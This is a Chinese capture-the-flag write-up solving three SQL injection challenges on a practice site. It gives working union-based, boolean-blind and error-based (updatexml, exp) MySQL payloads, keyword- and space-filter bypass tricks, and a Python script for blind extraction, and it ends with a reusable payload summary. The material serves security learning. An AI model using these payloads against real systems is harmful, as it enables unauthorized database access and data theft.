实验吧——SQL注入 Write up(一)
前言:之前學(xué)習(xí)過了聯(lián)合注入查詢、布爾盲注、時間盲注等,這次就通過SQL注入題來加強一下。
簡單的sql注入
方法一
輸入有回顯,且有輸入框,那就可以用聯(lián)合查詢的方法來注入
題中提示已經(jīng)過濾了一些關(guān)鍵字,那么就先來查看題中過濾的是哪些關(guān)鍵字
?id=1 union select order by #回顯結(jié)果:
union,select等都被過濾而且沒有報錯說明#也被過濾
可以自己建立一個語句來驗證一下
如果#沒有被過濾,那么上面的語句將會變成這樣,語句一定會報錯
題中將關(guān)鍵字過濾,可以嘗試一下雙寫繞過的方法是否可用
輸入框中輸入?id=1 unionunion selectselect,發(fā)現(xiàn)空格也被過濾了
但雙寫繞過的方法是可行的,可以采用這個方法
判斷注入點
可以采用'='或1' or '1'='1查看是否有注入點
SQL注入——注入點判斷
判斷閉合符號
發(fā)現(xiàn)輸入框中輸入1'時語句報錯,由于這道題將注釋符號給過濾了,那就用'來閉合后面的單引號,這樣來測試是否'為閉合符號,可以自己建立sql語句來更詳細的了解一下
在輸入框中輸入1 ' ',發(fā)現(xiàn)回顯正常,說明'即為閉合符號
接下來就是聯(lián)合注入的一系列步驟了
判斷列數(shù)
當(dāng)判斷是否有注入點的時候,發(fā)現(xiàn)
只有name,而我們輸入的ID則一直不變,因此猜測列數(shù)只有一列
查詢數(shù)據(jù)表
題中已經(jīng)將注釋符給過濾掉了,但是在上面已經(jīng)知道了'是閉合符號,那就可以用and '1'='1來閉合后面的單引號
?id=1' union select group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1
其他都被過濾了,構(gòu)造雙寫繞過,前面也說了空格也被過濾了,但是也可以用兩個空格來繞過過濾
輸入
?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schematable_schema=database() andand '1'='1發(fā)現(xiàn)table_schematable_schema被強制換掉了,那么就用table_schemtable_schemaa這種形式來繞過,過濾中間的,前后再拼接成table_schematable_schema
payload:
?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schemtable_schemaa=database() andand '1'='1
有一個表名為flag,flag應(yīng)該就在里面
查字段
payload:
?id=1'unionunion selectselect group_concatgroup_concat(column_namcolumn_namee) fromfrom information_schema.columinformation_schema.columnsns wherewhere table_name='flag這里column_name也采用錯位的方法來繞過,但估計是系統(tǒng)原因吧,莫名奇妙崩了
看了其他大師傅的博客,知道flag是其中的一個字段,就構(gòu)造語句查詢結(jié)果
查值
payload:
?id=1'unionunion selectselect flag fromfrom flag wherewhere '1'='1
得出結(jié)果
方法二
一道題肯定是不只一種解法的,再來看看另一種方法
輸入
發(fā)現(xiàn)回顯
很奇怪,如果是過濾關(guān)鍵字了,為什么還有關(guān)鍵字,嘗試幾次就會發(fā)現(xiàn)關(guān)鍵字過濾實際上是過濾后面帶有一個空格的關(guān)鍵字,那就又出現(xiàn)了一個思路,只需將空格繞過即可
常見的空格繞過有這些
+、%0a、%0b、/**/查詢數(shù)據(jù)庫
?id=1' union/**/select/**/database()' ?id=1' union%0aselect%0adatabase()' ?id=1' union%0bselect%0bdatabase()'三種均能夠查出數(shù)據(jù)庫
查數(shù)據(jù)表
?id=1' union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa='web1同樣table_schema需要錯位來進行繞過
查字段
還是那個問題,不管它,反正語句正確
查值
?id=1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
簡單的sql注入之2
輸入
?id=1' and length(database())>1 --+回顯結(jié)果為:
第一反應(yīng)用時間盲注試試
回顯結(jié)果:
那就換一種思路,用布爾盲注測試
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>200 --+故意將ASCII值調(diào)大,看是否還出現(xiàn)SQLi detected!
回顯結(jié)果還是出現(xiàn)
那就換手工注入,觀察到底過濾了什么
輸入?id='='
得出列數(shù)為一列
測試閉合符號
輸入
報錯
輸入
還是報錯
但是輸入
?id=1''回顯正常
說明這里把空格給過濾了,可以再輸入一些其他的來驗證一下
輸入
回顯錯誤
輸入
回顯正確,果然是過濾了空格,在sql注入之一,通過/**/來繞過空格,這次就再用一次
查數(shù)據(jù)庫
?id=1'union/**/select/**/database()/**/'
查數(shù)據(jù)表
查字段
這次竟然顯示了,然而沒高興過一秒就又不行了
查值
簡單的sql注入之3
方法一、布爾盲注
一開始做沒注意提示是報錯提示,就用布爾盲注去嘗試,結(jié)果還是可以做的
閉合符號還是',這里就不再演示了
正常輸入的話回顯為:
那就構(gòu)造一下布爾盲注查數(shù)據(jù)表的語句看是否可行
回顯正常,說明可以進行布爾盲注
可以手工注入,也可以寫腳本跑出來,這里就寫腳本跑出來
猜解長度
import requests def len():for i in range(1,5):url = '''http://ctf5.shiyanbar.com/web/index_3.php'''#猜表名長度payload = '''?id=1' and length(database())>%s''' %i#猜字段長度#payload = '''?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>%s ''' %i#猜值長度#payload = '''?id=1' and (select length(column_name) from information_schema.columns where table_name ='flag' limit 0,1)>%s'''# print(url+payload+'%23')r = requests.get(url+payload+'%23')if 'Hello!' in r.text:print(i)else:#print('false')print('database_length:',i) len()
猜解數(shù)據(jù)
但是在猜解字段長度和猜解字段的時候又出現(xiàn)這個問題
就不管這個問題,之前一直以為腳本中的payload又錯誤,結(jié)果是服務(wù)器有錯誤,所以無法跑出列名,查看大師父們的博客,發(fā)現(xiàn)列名還是flag,好吧,繼續(xù)跑值
由于腳本中range的長度是1-5,所以只能跑出
就將range的范圍改的大一些,改為1-30
因為python還不太熟練,所以寫的腳本還比較菜,繼續(xù)努力學(xué)習(xí)寫腳本吧
方法二、報錯注入
不過這樣就結(jié)束了?,我還一直在疑惑,這題道將哪些東西給過濾了,結(jié)果提交的時候發(fā)現(xiàn)
報錯注入,那就再用報錯注入來做一遍
用常用的語句嘗試一下
?id=2' select count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+回顯結(jié)果為:
說明floor函數(shù)已經(jīng)被過濾了,查一下報錯注入常用的其他函數(shù)
十種MySQL報錯注入
updatexml報錯注入
SQL注入之報錯注入的一些隨筆
updatexml () 函數(shù)
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select schema_name),0x7e) from admin limit 0,1),0x7e),1)--+
extractvalue()報錯
updatexml()報錯注入
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+exp()報錯注入
?id=1' union select (exp(~(select * FROM(SELECT USER())a)))--+終于讓找到?jīng)]有被過濾的函數(shù)了
查數(shù)據(jù)表
這就沒意思了吧。。。。都不能用,算了就順便總結(jié)一下payload,方便以后用
exp()報錯注入
查數(shù)據(jù)庫
?id='or exp(~(Select * From (select database())x)) %23查數(shù)據(jù)表
?id='or exp(~(Select * From (select group_concat(table_name) from information_schema.tables where table_schema=database())x)) %23查字段
?id='or exp(~(Select * From (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')x)) %23查值
?id='or exp(~(Select * From (select flag from flag)x)) %23附上大師傅博客,向大師傅學(xué)習(xí)
V0W
原本想用sqlmap工具來做,誰知道虛擬機崩了,沒法打開,最近可真倒霉,phpstudy崩完,虛擬機崩,唉
(還要再去解決虛擬機的問題) 累啊
感悟:一道題不只一種解法,多嘗試其他方法拓寬自己的思路,最近也比較煩躁,總覺得做題沒意思,不會了只會看大師傅的writeUp,一做題就懵逼,做一道題可能就用一上午,不過那這也是正常的,還是得耐心點,不是為了做題而做題,切記不要浮躁, 繼續(xù)努力,有困難就解決!
總結(jié)
以上是生活随笔為你收集整理的实验吧——SQL注入 Write up(一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 文件上传漏洞——DVWA练习
- 下一篇: Centos Mysql数据还原